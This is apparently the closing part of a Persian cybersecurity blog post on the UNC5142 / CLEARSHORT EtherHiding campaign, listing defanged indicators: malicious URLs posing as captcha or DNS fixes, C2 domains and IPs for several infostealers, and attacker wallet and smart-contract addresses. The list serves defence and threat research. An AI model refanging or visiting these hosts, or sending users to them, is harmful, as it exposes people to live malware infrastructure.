2025-04-16 hXXps://jdiazmemory[.]com/4/verify[.]sh
2025-04-16 hXXps://fleebunga[.]sbs
2025-04-05 hXXps://captcha-verify-6r4x[.]com/verify[.]sh
2025-04-05 hXXp://power[.]moon-river-coin[.]xyz/
2025-04-04 hXXp://run[.]fox-chair-dust[.]xyz/
2025-04-03 hXXps://captcha-cdn[.]com/verify.sh
2025-04-02 hXXp://bridge[.]tree-sock-rain[.]today/
2025-03-29 hXXp://ok[.]fish-cloud-jar[.]us/
2025-03-18 hXXp://message[.]zoo-ciry[.]shop/
2025-03-16 hXXp://text[.]cherry-pink[.]shop
2025-03-13 hXXp://sandbox[.]silver-map-generator[.]shop/
2025-03-12 hXXp://items[.]kycc-camera[.]shop/
2025-03-11 hXXp://def[.]ball-strike-up[.]shop/
2025-03-07 hXXp://incognito[.]uploads[.]it[.]com
2025-03-07 hXXps://bytes[.]microstorage[.]shop/
2025-03-05 hXXps://black[.]hologramm[.]us/
2025-03-04 hXXps://xxx[.]retweet[.]shop/
2025-03-02 hXXps://butanse[.]shop/
2025-03-01 hXXps://rengular11[.]today/
2025-02-28 hXXps://lumichain[.]pro/
2025-02-27 hXXps://www[.]mediafire[.]com/file_premium/d6r4c3nzfv9mgl7/glass.mp3/file
2025-02-26 hXXps://www[.]mediafire[.]com/file_premium/8q094mjevfshw6g/glass.mp3/file
2025-02-26 hXXps://tumbl[.]design-x[.]xyz/glass.mp3
2025-02-25 hXXps://sandbox[.]yunqof[.]shop/macan.mp3
2025-02-25 hXXps://block[.]a-1-a1a[.]shop/drive.mp3
2025-02-24 hXXps://note1[.]nz7bn[.]pro/nnp.mp4
2025-02-22 hXXps://ai[.]fdswgw[.]shop/one.mp4
2025-02-21 hXXps://mnjk-jk[.]bsdfg-zmp-q-n[.]shop/1.mp4
2025-02-20 hXXps://nbhg-v[.]iuksdfb-f[.]shop/ajax.mp3
2025-02-20 hXXps://hur[.]bweqlkjr[.]shop/m41.mp4
2025-02-19 hXXps://hur[.]bweqlkjr[.]shop/1a.m4a
2025-02-19 hXXps://yob[.]yrwebsdf[.]shop/1a.m4a
2025-02-19 hXXps://yob[.]yrwebsdf[.]shop/3t.mp4
2025-02-18 hXXps://start[.]cleaning-room-device[.]shop/sha589.m4a
2025-02-18 hXXps://discover-travel-agency[.]pro/joke[.]m4a
2025-02-18 hXXps://discover-travel-agency[.]pro/walking[.]mp3
2025-02-17 hXXps://discover-travel-agency[.]pro/1[.]m4a
2025-02-16 hXXps://travel[.]image-gene-saver[.]it[.]com/1[.]m4a
2025-02-16 hXXps://ads[.]green-pickle-jo[.]shop/1.m4a
2025-02-13 hXXps://recaptcha-verify-4h[.]pro/kangarooing.m4a
2025-02-13 hXXps://recaptcha-manual[.]shop/kangarooing.m4a
2025-02-11 hXXps://recaptcha-verify-4h[.]pro/xfiles/kangarooing[.]vsdx
2025-02-11 hXXps://recaptcha-verify-4h[.]pro/xfiles/verify.mp4
2025-02-10 hXXps://human-verify[.]shop/xfiles/verify.mp4
2025-02-10 hXXps://human-verify-4r[.]pro/xfiles/verify.mp4
2025-02-10 hXXps://human-verify-4r[.]pro/xfiles/human[.]cpp
2025-02-08 hXXps://dns-verify-me[.]pro/xfiles/train.mp4
2025-02-06 hXXp://83[.]217[.]208[.]130/xfiles/Ohio.mp4
2025-02-06 hXXp://83[.]217[.]208[.]130/xfiles/VIDA.mp3
2025-02-06 hXXp://83[.]217[.]208[.]130/xfiles/VIDA.mp4
2025-02-05 hXXp://83[.]217[.]208[.]130/xfiles/trip.mp4
2025-02-05 hXXp://83[.]217[.]208[.]130/xfiles/trip[.]psd
2025-02-05 hXXp://80[.]64[.]30[.]238/trip[.]psd
2025-02-03 hXXp://80[.]64[.]30[.]238/evix.xll
2025-02-03 hXXps://raw[.]githubusercontent[.]com/fuad686337/tyu/refs/heads/main/BEGIMOT.xll
2025-02-02 hXXps://disable-data-ai-agent[.]pages[.]dev
2025-01-23 hXXps://microsoft-dns-reload-5q[.]pages[.]dev
2025-01-22 hXXps://microsoft-dns-reload-6l[.]pages[.]dev
2025-01-02 hXXps://microsoft-dns-reload-1n[.]pages[.]dev
2024-12-31 hXXps://microsoft-dns-reload-5m[.]pages[.]dev
2024-12-30 hXXps://microsoft-dns-reload-7m[.]pages[.]dev
2024-12-28 hXXps://microsoft-dns-reload-9q[.]pages[.]dev
2024-12-28 hXXps://microsoft-dns-reload-3h[.]pages[.]dev
2024-12-27 hXXps://microsoft-dns-reload-4r[.]pages[.]dev
2024-12-25 hXXps://recaptcha-dns-b4[.]pages[.]dev
2024-12-23 hXXps://restart-dns-service-u2[.]pages[.]dev
2024-12-21 hXXps://recaptha-verify-8u[.]pages[.]dev
2024-12-20 hXXps://microsoft-dns-reload-6y[.]pages[.]dev
2024-12-19 hXXps://microsoft-dns-reload[.]pages[.]dev
2024-12-17 hXXps://dnserror-cdw[.]pages[.]dev/
2024-12-15 hXXps://dns-me[.]pages[.]dev/
Indicator Description
saaadnesss[.]shop UNC5142 C2 Check-in
lapkimeow[.]icu UNC5142 C2 Check-in
ratatui[.]today UNC5142 CLEARSHORT C2 Check-in
technavix[.]cloud UNC5142 CLEARSHORT C2 Check-in
orange-service[.]xyz UNC5142 CLEARSHORT C2 Check-in
hfdjmoedkjf[.]asia UNC5142 CLEARSHORT C2 Check-in
polovoiinspektor[.]shop UNC5142 Payload Hosting
googleapis-n-cdn3s-server[.]willingcapablepatronage[.]shop UNC5142 Payload Hosting
rbk[.]scalingposturestrife[.]shop UNC5142 Payload Hosting
ty[.]klipxytozyi[.]shop UNC5142 Payload Hosting
discover-travel-agency[.]pro UNC5142 Payload Hosting
browser-storage[.]com UNC5142 Payload Hosting
kangla[.]klipxytozyi[.]shop UNC5142 Payload Hosting
recaptcha-manual[.]shop UNC5142 Payload Hosting
xxx[.]retweet[.]shop UNC5142 Payload Hosting
w1[.]discoverconicalcrouton[.]shop UNC5142 Payload Hosting
tlfiyat[.]shop VIDAR C2
stchkr[.]rest VIDAR C2
opbafindi[.]com VIDAR C2
cxheerfulriver[.]pics LUMMAC.V2 C2
importenptoc[.]com LUMMAC.V2 C2
voicesharped[.]com LUMMAC.V2 C2
inputrreparnt[.]com LUMMAC.V2 C2
torpdidebar[.]com LUMMAC.V2 C2
rebeldettern[.]com LUMMAC.V2 C2
actiothreaz[.]com LUMMAC.V2 C2
garulouscuto[.]com LUMMAC.V2 C2
breedertremnd[.]com LUMMAC.V2 C2
zenrichyourlife[.]tech LUMMAC.V2 C2
pasteflawwed[.]world LUMMAC.V2 C2
hoyoverse[.]blog LUMMAC.V2 C2
dsfljsdfjewf[.]info LUMMAC.V2 C2
stormlegue[.]com LUMMAC.V2 C2
blast-hubs[.]com LUMMAC.V2 C2
blastikcn[.]com LUMMAC.V2 C2
decreaserid[.]world LUMMAC.V2 C2
80.64.30[.]238 UNC5142 Payload Hosting
95.217.240[.]67 VIDAR C2
37.27.182[.]109 VIDAR C2
95.216.180[.]186 VIDAR C2
82.115.223[.]9 ATOMIC C2
91.240.118[.]2 RADTHIEF C2

Blockchain-Based IOCs

Wallet Addresses:

 

Main Wallets Description

0x9fA7A2F4872D10bF59d436EA8433067811F67C04

0x9FEF571BAeAbdB8bF417a780c1b78aAa3295fF45

0x3b5a23f6207d87B423C6789D2625eA620423b32D(OKX 35)

کیف پولهای تأمین مالی که برای لایه‌ بندی وجوه پیش از ارسال به اپراتور استفاده میشن.
0xF5B962Cca374de0b769617888932250363C5971B آدرس اصلی تحت کنترل مهاجم که قراردادهای هوشمند رو مستقر کرده و تراکنشهای بروزرسانی رو به گروه قراردادهای هوشمند ارسال میکنه.
Secondary Wallets Description
0x3b5a23f6207d87B423C6789D2625eA620423b32D(OKX 35) کیف پولهای تأمین مالی که برای لایه‌ بندی وجوه پیش از ارسال به اپراتور استفاده میشن.
0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9 آدرس اصلی تحت کنترل مهاجم که قراردادهای هوشمند رو مستقر کرده و تراکنشهای بروزرسانی رو به گروه قراردادهای هوشمند ارسال میکنه.

Smart Contract Groups:

 

Contract Level Main Addresses Secondary Addresses
First Level 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c
Second Level 0x8FBA1667BEF5EdA433928b220886A830488549BD 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E
Third Level 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F

 

 

منبع

 

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی آنالیز بدافزار اخبار بازیگران تهدید مقالاتIn Blockchain , CLEARSHORT , EtherHiding , infostealer , Powershell , Smart contract , UNC5142 , wordpress , yara , بلاکچین , پاورشل , قرارداد هوشمند , وردپرس

راهبری نوشته

نگاهی به گزارش دفاع دیجیتال مایکروسافت (۲۰۲۵)
استفاده ی هکرهای کره شمالی از تکنیک EtherHiding برای توزیع بدافزار

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مصاحبه، داستان هکرها
  • مقالات
  • مهندسی معکوس نرم افزار
  • هوش مصنوعی

پست های مرتبط

  • Osint
  • آسیب پذیری امنیتی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • اینترنت اشیاء
  • بازیگران تهدید
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • مهندسی معکوس نرم افزار
seyyid
On اردیبهشت 23, 1402اردیبهشت 26, 1402

اسلایدهای کنفرانس Black Hat Asia 2023

  • اخبار
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On دی 18, 1401دی 18, 1401

ارسال مقاله برای OffensiveCon23

  • آسیب پذیری امنیتی
  • اخبار
  • بازیگران تهدید
  • توسعه اکسپلویت
  • مقالات
seyyid
On تیر 30, 1402تیر 31, 1402

آنالیز و اکسپلویت آسیب پذیری CVE-2023-29300

  • اخبار
  • امنیت وب
  • باگ بانتی
seyyid
On اسفند 2, 1401فروردین 28, 1402

یادگیری API Hacking با VAmPI

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کالی کروم گوگل

شبکه های اجتماعی

    • اینستاگرم
    • تلگرام
    • توییتر
    • گیت‌هاب
    • یوتیوب
    • لینکداین
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404